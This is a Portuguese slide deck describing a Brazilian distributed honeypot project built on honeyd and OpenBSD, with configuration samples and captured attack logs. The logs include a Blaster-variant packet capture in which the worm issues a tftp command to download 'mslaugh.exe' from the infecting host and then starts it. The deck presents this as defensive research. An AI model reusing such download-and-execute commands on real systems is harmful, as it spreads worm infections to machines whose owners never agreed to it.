Projeto
Honeypots Distribuídos

Antonio Montes - CenPRA/MCT
Klaus Steding-Jessen - NBSO/CGIbr
Cristine Hoepers - NBSO/CGIbr

Roteiro

Introdução

Tipos de Honeypots

Objetivos

Honeyd

Primeiros Resultados

Conclusão

Introdução

A segurança de sistemas de informação sempre se ressentiu da falta de conhecimentos mais detalhados sobre contra quais vulnerabilidades se proteger e as metodologias e ferramentas utilizadas por atacantes.

Esta situação vem mudando com uso de honeypots e honeynets pelas forças do bem.

Introdução (cont)

Honeypots são recursos computacionais dedicados a serem sondados, atacados ou comprometidos, num ambiente que permita o registro e controle dessas atividades.

Honeynets são redes compostas de uma sub-rede de administração e de uma sub-rede de honeypots.

Introdução (cont)

Honeypots não fazem parte do sistema de informação da organização e, desta forma, todo tráfego destinado a eles é anômalo ou malicioso; sem falsos-positivos; dados de alto valor.

Desvantagem: só vêem tráfego destinado a eles; podem introduzir um risco adicional.

Tipos de Honeypots

Honeynets de Pesquisa são ferramentas de pesquisa utilizadas para observar as ações de atacantes ou invasores, permitindo análises detalhadas de suas motivações, das ferramentas utilizadas e vulnerabilidades exploradas.

Honeypots de Produção são utilizados em redes de produção como complemento ou no lugar de sistemas de detecção de intrusão.

Tipos de Honeypots (cont)

Alta ou baixa interatividade.

Baixa interatividade:

- **Emulam serviços e S.O.;**
- **Atacantes não tem acesso à máquina real;**
- **Por serem razoavelmente seguros, são apropriados para redes de produção;**
- **Excelentes complementos para Sistemas de Detecção de Intrusão (SDI).**

Tipos de Honeypots (cont)

Alta interatividade:

- Serviços legítimos;
- Atacante pode assumir controle total do honeypot;
- Coleta de inteligência, análise de tendências, 0-day attacks (novas vulnerabilidades), captura de ferramentas, etc;
- Cuidados especiais para evitar que sejam usados para lançamento de ataques;
- Difíceis de administrar e manter.

Objetivos

Implantar uma rede de honeypots de baixa interatividade, distribuídos pelas principais redes acadêmicas e de pesquisa do País e pela maioria dos AS da Internet brasileira.

Compartilhar informações sobre máquinas comprometidas entre os participantes e os grupos de resposta a incidentes brasileiros.

Objetivos (cont)

Buscar uma visão de alto nível sobre que serviços estão sendo explorados, e por quem. Realizar levantamentos estatísticos. Alerta de tempestade.

Acompanhar atividades de worms e a procura por backdoors.

Capturar artefatos.

Honeyd

Para cumprir os objetivos deste projeto, selecionamos a ferramenta honeyd, rodando em OpenBSD.

Os registros (logs) do honeyd e do firewall dos honeypots (pf) são transferidos para armazenamento e análise em um servidor de disco central.

Um sumário sanitizado destes logs é distribuído diariamente através da lista dos participantes.

Honeyd (Instalação)

Dependências

- libevent, libdnet, libpcap
- arpd

Proteger o host onde roda o honeyd

- manter o sistema e aplicações atualizados
- Filtragem paranóica
- executar o honeyd/arpd com systrace

Honeyd (Configuração)

```
create default
set default default tcp action block
set default default udp action block
set default default icmp action block

create windows
set windows personality "Windows NT 4 SP3"
set windows default tcp action reset
add windows tcp port 80 "scripts/iis5.net/main.pl"
add windows tcp port 22 "sh scripts/test.sh $ipsrc $dport"
```

Honeyd (Configuração)

```
create router
set router personality "Cisco 7206 running IOS 11.1(24)"
set router default tcp action reset
add router tcp port 22 "scripts/test.sh"
add router tcp port 23 "scripts/router-telnet.pl"

bind 192.0.2.1 router
bind 192.0.0.2 windows
bind 192.0.0.3 windows
```

Resultados (Logs)

Scan para múltiplos IPs:

```
2003-11-10-05:15:33 tcp(6) - 211.148.131.243 3645 192.0.2.205 22: 60 S
2003-11-10-05:15:33 tcp(6) - 211.148.131.243 3681 192.0.2.239 22: 60 S
2003-11-10-05:15:33 tcp(6) - 211.148.131.243 3578 192.0.2.143 22: 60 S
2003-11-10-05:15:34 tcp(6) - 211.148.131.243 3616 192.0.2.178 22: 60 S
2003-11-10-05:15:38 tcp(6) - 211.148.131.243 3545 192.0.2.112 22: 60 S
2003-11-10-05:15:38 tcp(6) - 211.148.131.243 3446 192.0.2.15 22: 60 S
2003-11-10-05:15:38 tcp(6) - 211.148.131.243 3464 192.0.2.33 22: 60 S
```

Resultados (Logs)

Atividade gerada pelo worm Nachi:

```
2003-11-28-11:53:42 icmp(1) - 10.0.6.83 192.0.2.102: 8(0): 92
2003-11-28-11:53:42 tcp(6) S 10.0.6.83 2526 192.0.2.102 135
2003-11-28-11:53:42 icmp(1) - 10.0.6.83 192.0.2.103: 8(0): 92
2003-11-28-11:53:42 icmp(1) - 10.0.6.83 192.0.2.104: 8(0): 92
2003-11-28-11:53:42 tcp(6) S 10.0.6.83 2527 192.0.2.103 135
2003-11-28-11:53:42 tcp(6) S 10.0.6.83 2528 192.0.2.104 135
2003-11-28-11:53:42 icmp(1) - 10.0.6.83 192.0.2.105: 8(0): 92
2003-11-28-11:53:42 tcp(6) S 10.0.6.83 2529 192.0.2.105 135
2003-11-28-11:53:42 icmp(1) - 10.0.6.83 192.0.2.106: 8(0): 92
```

Resultados (Logs do PF)

Variante de Blaster, registrada via pf:

```
13:47:29.824218 192.168.17.227.3891 > 192.168.72.200.4444: P [tcp sum ok]

  0030: 0064 c776 7466 7470 202d 6920 3139 322e          ....tftp -i 192.
  0040: 3136 382e 3137 2e32 3237 2047 4554 206d          168.17.227 GET m
  0050: 736c 6175 6768 2e65 7865 0a                      slaugh.exe.

13:47:50.854473 192.168.17.227.3891 > 192.168.72.200.4444: P [tcp sum ok]

  0030: 0064 c776 7374 6172 7420 6d73 6c61 7567          ...vstart mslaug
  0040: 682e 6578 650a                                   h.exe.
```

Resultados (Listeners)

Logs gerados por um listener de ftp:

```
# cat ftp-81.50.188.79.log
Mon Oct 6 05:05:50 BRT 2003: FTP started from 81.50.188.79
   Port 1727
USER anonymous@ftp.microsoft.com
PASS abc@126.com
Mon Oct 6 15:52:57 BRT 2003: FTP started from 81.50.188.79
   Port 1567
USER anonymous
PASS Kgpuser@home.com
CWD /
MKD 031006204524p
RMD 031006204524p
SYST
REST 1
PASV
PORT 207,46,133,140,1,21
```

Conclusão

Instituições consorciadas

INPE	UNESP(2)	CAIS
ANSP	PUC-PC	UFRN
RedeRio	NBSO	UFSCAR
USP(2)	UNICAMP	CDEX
CenPRA	ITA	-

Conclusão

Caso você esteja interessado em participar deste projeto, entre em contato com:
antonio.montes@cenpra.gov.br
(somente participantes institucionais, por enquanto)